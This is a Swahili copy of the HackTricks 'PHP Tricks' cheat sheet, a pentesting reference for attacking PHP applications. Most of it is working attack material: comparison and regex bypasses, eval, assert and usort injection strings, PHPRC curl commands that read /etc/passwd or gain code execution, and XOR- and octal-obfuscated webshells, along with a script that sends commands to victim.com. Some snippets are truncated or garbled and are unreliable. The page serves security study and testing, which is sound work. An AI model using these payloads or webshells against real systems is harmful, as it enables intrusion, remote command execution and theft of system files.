PHP Tricks

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Mahali ya Kawaida ya Vidakuzi:

Hii pia ni halali kwa vidakuzi vya phpMyAdmin.

Vidakuzi:

PHPSESSID
phpMyAdmin

Maeneo:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Kupita kwa Ulinganisho wa PHP

Ulinganisho wa Kupumzika/Type Juggling ( == )

Ikiwa == inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo ulinganisho haifanyi kazi kama ilivyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina ile ile, ikiwa unataka pia kulinganisha aina ya data inayolinganishwa ni sawa unahitaji kutumia ===.

Vitabu vya ulinganisho wa PHP: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True String ambayo haianzi na nambari ni sawa na nambari

  • "0xAAAA" == "43690" -> True Maneno yaliyoundwa na nambari katika muundo wa dec au hex yanaweza kulinganishwa na nambari/maneno mengine na matokeo ya True ikiwa nambari zilikuwa sawa (nambari katika string zinaeleweka kama nambari)

  • "0e3264578" == 0 --> True String inayoanza na "0e" na ikifuatiwa na chochote itakuwa sawa na 0

  • "0X3264578" == 0X --> True String inayoanza na "0" na ikifuatiwa na herufi yoyote (X inaweza kuwa herufi yoyote) na ikifuatiwa na chochote itakuwa sawa na 0

  • "0e12334" == "0" --> True Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti kuingiza string ya "0" na baadhi ya maudhui ambayo yanahashishwa na kulinganishwa nayo. Kwa hivyo, ikiwa unaweza kutoa thamani ambayo itaunda hash ikiwaanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata maneno yaliyohashishwa tayari na muundo huu hapa: https://github.com/spaze/hashes

  • "X" == 0 --> True Herufi yoyote katika string ni sawa na int 0

Maelezo zaidi katika https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling pia huathiri kazi ya in_array() kwa chaguo-msingi (unahitaji kuweka kweli hoja ya tatu ili kufanya ulinganisho wa kina):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Ikiwa kazi hii inatumika kwa uthibitisho wowote (kama vile kuthibitisha nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma safu tupu badala ya herufi kama thamani ya nenosiri (https://example.com/login.php/?username=admin&password[]=) na kuepuka uthibitisho huu:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Ulinganifu wa Aina Kubwa

Hata kama === inatumika, kunaweza kuwa na makosa ambayo yanafanya ulinganifu uwe hatarini kwa ulinganifu wa aina. Kwa mfano, ikiwa ulinganifu unabadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() inaweza kutumika kwa kuthibitisha kuingia kwa mtumiaji (inachunguza ikiwa kuna neno/regex lolote kutoka kwa orodha nyeusi lipo kwenye kuingia kwa mtumiaji na ikiwa halipo, nambari inaweza kuendelea na utekelezaji wake).

Kupitisha mstari mpya

Hata hivyo, wakati wa kudhibiti mwanzo wa regexp preg_match() inachunguza tu mstari wa kwanza wa kuingia kwa mtumiaji, kisha ikiwa kwa njia fulani unaweza kupeleka kuingia kwa mtumiaji katika mistari kadhaa, unaweza kufanikiwa kupitisha ukaguzi huu. Mfano:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Ili kudukua ukaguzi huu unaweza kutuma thamani na mistari mipya iliyowekwa kwenye URL (%0A) au ikiwa unaweza kutuma data ya JSON, ituma kwa mistari kadhaa:

{
"cmd": "cat /etc/passwd"
}

Pata mfano hapa: https://ramadistra.dev/fbctf-2019-rceservice

Kosa la Urefu kwa Kupita

(Hii njia ya kupita ilijaribiwa kwa PHP 5.2.5 na sikufanikiwa kuifanya kazi kwa PHP 7.3.15) Ikiwa unaweza kutuma kwa preg_match() kiingilio kikubwa sana halali, haitaweza kuliprocess na utaweza kupita ukaguzi. Kwa mfano, ikiwa inazuia JSON unaweza kutuma:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Kupuuza ReDoS

Mchezo kutoka: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 na https://mizu.re/post/pong

Kwa ufupi tatizo hutokea kwa sababu preg_* functions katika PHP inategemea maktaba ya PCRE. Katika PCRE, mifano fulani ya kawaida hulinganishwa kwa kutumia wito mwingi wa kurekodi, ambao unatumia nafasi nyingi ya steki. Inawezekana kuweka kikomo kwenye idadi ya kurudia kuruhusiwa, lakini katika PHP kikomo hiki kawaida ni 100,000 ambayo ni zaidi ya inavyolingana kwenye steki.

Uzi huu wa Stackoverflow pia ulilinkiwa kwenye chapisho ambapo inazungumziwa kwa undani zaidi kuhusu suala hili. Kazi yetu ilikuwa wazi sasa: Tuma kuingiza ambayo itafanya regex ifanye kurudia 100,000+, kusababisha SIGSEGV, kufanya preg_match() function irudishe false hivyo kufanya programu iweze kufikiria kuwa kuingiza kwetu si mbaya, kutupa mshangao mwishoni mwa mzigo kitu kama {system(<verybadcommand>)} ili kupata SSTI --> RCE --> bendera :).

Vizuri, kwa maneno ya regex, hatufanyi kweli "kurudia" 100k, bali badala yake tunahesabu "hatua za kurudi nyuma", ambazo kama nyaraka za PHP zinaeleza kawaida ni 1,000,000 (1M) katika kipengele cha pcre.backtrack_limit. Ili kufikia hilo, 'X'*500_001 itatoa hatua milioni moja za kurudi nyuma (mbele 500k na nyuma 500k):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Kupangilia Aina kwa ajili ya kuficha PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Tekeleza Baada ya Kuelekeza (EAR)

Ikiwa PHP inaelekeza kwenye ukurasa mwingine lakini hakuna die au exit kazi inayoitwa baada ya kichwa cha Location kusetiwa, PHP inaendelea kutekeleza na kuongeza data kwenye mwili:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Uchomaji wa Njia na Uingizaji wa Faili

Angalia:

pageFile Inclusion/Path traversal

Mbinu zaidi

  • register_globals: Katika PHP < 4.1.1.1 au ikiwa imepangwa vibaya, register_globals inaweza kuwa active (au tabia zao inaigizwa). Hii inamaanisha kwamba katika mazingira ya kipekee kama $_GET ikiwa na thamani kama $_GET["param"]="1234", unaweza kuipata kupitia **$param. Kwa hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha variables ambazo hutumiwa ndani ya nambari.

  • PHPSESSION cookies za kikoa kimoja zinahifadhiwa mahali pamoja, kwa hivyo ikiwa ndani ya kikoa vidakuzi tofauti hutumiwa kwenye njia tofauti unaweza kufanya njia hiyo iweze kufikia kuki ya njia kwa kuweka thamani ya kuki ya njia nyingine. Kwa njia hii ikiwa njia zote mbili zinafikia variable yenye jina sawa unaweza kufanya thamani ya variable hiyo katika njia 1 iweze kutumika kwa njia 2. Na kisha njia 2 itachukua kama halali variables za njia 1 (kwa kumpa kuki jina linalolingana nayo katika njia 2).

  • Unapokuwa na majina ya watumiaji wa watumiaji wa mashine. Angalia anwani: /~<USERNAME> kuona ikiwa saraka za php zimeamilishwa.

password_hash/password_verify

Hizi ni kazi zinazotumiwa kawaida katika PHP kwa kuzalisha hashes kutoka kwa nywila na kuangalia ikiwa nywila ni sahihi ikilinganishwa na hash. Algorithms zinazoungwa mkono ni: PASSWORD_DEFAULT na PASSWORD_BCRYPT (inaanza na $2y$). Kumbuka kwamba PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT. Na kwa sasa, PASSWORD_BCRYPT ina kizuizi cha ukubwa katika kuingia cha 72bytes. Kwa hivyo, unapojaribu kuhifadhi kitu kikubwa kuliko 72bytes na algorithm hii, tu 72B za kwanza zitatumika:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Kichwa cha HTTP kukiuka kwa kutumia makosa ya PHP

Kusababisha kosa baada ya kuweka vichwa

Kutoka kwenye mfululizo huu wa Twitter unaweza kuona kwamba kutuma zaidi ya vigezo vya GET 1000 au vigezo vya POST 1000 au faili 20, PHOP haitaweka vichwa kwenye jibu.

Kuruhusu kukiuka kwa mfano vichwa vya CSP vinavyowekwa kwenye nambari kama:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Kujaza mwili kabla ya kuweka vichwa

Ikiwa ukurasa wa PHP unachapisha makosa na kutoa nyuma baadhi ya data iliyotolewa na mtumiaji, mtumiaji anaweza kufanya server ya PHP ichapishe maudhui ya kutosha ili wakati inajaribu kuongeza vichwa kwenye jibu server itatoa kosa. Katika hali ifuatayo mshambuliaji alifanya server itoe makosa makubwa, na kama unavyoona kwenye skrini wakati PHP ilipojaribu kurekebisha habari ya kichwa, haikuweza (kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):

Utekelezaji wa Kanuni

system("ls"); `ls`; shell_exec("ls");

Tazama hii kwa kazi zaidi za PHP zinazofaa

RCE kupitia preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Ili kutekeleza kanuni katika hoja ya "badilisha" inahitajika angalau kulingana moja. Chaguo hili la preg_replace limekuwa limepitwa na wakati tangu PHP 5.5.0.

RCE kupitia Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE kupitia Assert()

Hii function ndani ya php inaruhusu wewe kutekeleza code ambayo imeandikwa kwenye string ili irudishe true au false (na kulingana na hii kubadilisha utekelezaji). Kawaida variable ya mtumiaji itaingizwa katikati ya string. Kwa mfano: assert("strpos($_GET['page']),'..') === false") --> Katika kesi hii ili kupata RCE unaweza kufanya:

?page=a','NeVeR') === false and system('ls') and strpos('a

Utahitaji kuvunja muundo wa kanuni, kuongeza mzigo wako, na kisha kuirekebisha tena. Unaweza kutumia shughuli za mantiki kama "na" au "%26%26" au "|". Tafadhali kumbuka kwamba "au", "||" haifanyi kazi kwa sababu ikiwa hali ya kwanza ni kweli mzigo wetu hautatekelezwa. Vivyo hivyo, ";" haifanyi kazi kwa sababu mzigo wetu hautatekelezwa.

Chaguo lingine ni kuongeza kwenye herufi utekelezaji wa amri: '.highlight_file('.passwd').'

Chaguo lingine (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya kivinjari ili kubadilisha utekelezaji: $file = "hola"

RCE kupitia usort()

Kazi hii hutumiwa kusorti safu ya vitu kwa kutumia kazi maalum. Kutumia kazi hii vibaya:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Unaweza pia kutumia // kutoa maoni ya sehemu iliyobaki ya nambari.

Kugundua idadi ya mabano unayohitaji kufunga:

  • ?order=id;}//: tunapata ujumbe wa kosa (Parse error: syntax error, unexpected ';'). Labda tunakosa mabano moja au zaidi.

  • ?order=id);}//: tunapata onyo. Inaonekana sawa.

  • ?order=id));}//: tunapata ujumbe wa kosa (Parse error: syntax error, unexpected ')' i). Labda tuna mabano mengi ya kufunga.

RCE kupitia .httaccess

Ikiwa unaweza kupakia .htaccess, basi unaweza kusanidi mambo kadhaa na hata kutekeleza nambari (kusanidi faili hizo zenye kipengee cha .htaccess zinaweza kutekelezwa).

Makabati tofauti ya .htaccess yanaweza kupatikana hapa

RCE kupitia Mazingira ya Mazingira

Ikiwa unapata udhaifu unaoruhusu ku badilisha mazingira ya mazingira katika PHP (na mwingine wa kupakia faili, ingawa kwa utafiti zaidi labda hii inaweza kudanganywa), unaweza kutumia tabia hii kupata RCE.

  • LD_PRELOAD: Kipengee hiki cha mazingira kinakuwezesha kupakia maktaba za aina yoyote unapotekeleza programu zingine (ingawa katika kesi hii inaweza isiwe kazi).

  • PHPRC : Inaagiza PHP mahali pa kupata faili yake ya usanidi, kawaida inaitwa php.ini. Ikiwa unaweza kupakia faili yako ya usanidi, basi tumia PHPRC kuashiria PHP kwake. Ongeza kuingia auto_prepend_file ikieleza faili ya pili iliyopakiwa. Faili ya pili ina nambari ya PHP ya kawaida, ambayo kisha inatekelezwa na wakati wa PHP kabla ya nambari nyingine yoyote.

  1. Pakia faili ya PHP inayohusisha nambari yetu ya kabati

  2. Pakia faili ya pili, inayohusisha kuingia cha auto_prepend_file kuiagiza mchakato wa PHP wa kabla kutekeleza faili tuliyopakia hatua ya 1

  3. Weka kipengee cha PHPRC kwa faili tuliyopakia hatua ya 2.

  • Pata maelezo zaidi jinsi ya kutekeleza mnyororo huu kutoka kwenye ripoti ya asili.

  • PHPRC - chaguo lingine

  • Ikiwa huwezi kupakia faili, unaweza kutumia FreeBSD "faili" /dev/fd/0 ambayo ina stdin, ikiwa mwili wa ombi lililotumwa kwa stdin:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • Au kupata RCE, wezesha allow_url_include na kuongeza faili na nambari ya PHP ya base64:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

Uchambuzi Stahiki wa PHP

Angalia ikiwa unaweza kuingiza nambari katika wito wa kazi hizi (kutoka hapa):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Ikiwa unafuatilia kwa makosa maombi ya PHP unaweza kuwezesha uchapishaji wa makosa kwa ujumla katika /etc/php5/apache2/php.ini kwa kuongeza display_errors = On na kuanzisha upya apache: sudo systemctl restart apache2

Kufuta Obfuscating Msimbo wa PHP

Unaweza kutumia mtandao www.unphp.net kufuta obfuscate msimbo wa php.

PHP Wrappers & Protocols

PHP Wrappers na itifaki zinaweza kukuruhusu kupuuza ulinzi wa kuandika na kusoma katika mfumo na kuathiri. Kwa mifano zaidi angalia ukurasa huu.

Xdebug unauthenticated RCE

Ikiwa unaona kwamba Xdebug ime wezeshwa katika matokeo ya phpconfig() unapaswa kujaribu kupata RCE kupitia https://github.com/nqxcode/xdebug-exploit

Variable variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE kutumia $_GET["a"]($_GET["b"])

Ikiwa kwenye ukurasa unaweza kuunda kitu kipya cha darasa lolote, unaweza kupata RCE, angalia ukurasa ufuatao kujifunza jinsi:

pagePHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Tekeleza PHP bila herufi

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Kutumia octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

XOR ni mbinu ya kuficha data ambayo inaweza kutumika kwa kuchanganya data na funguo za XOR.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR msimbo wa kabibi

Kulingana na hii andiko inawezekana kuzalisha msimbo wa kabibi kwa njia ifuatayo:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Kwa hivyo, ikiwa unaweza kutekeleza PHP bila nambari na herufi unaweza kutuma ombi kama ifuatavyo ukichukua faida ya mzigo huo kutekeleza PHP kiholela:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Kwa maelezo zaidi angalia https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (ndani ya eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Kama Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated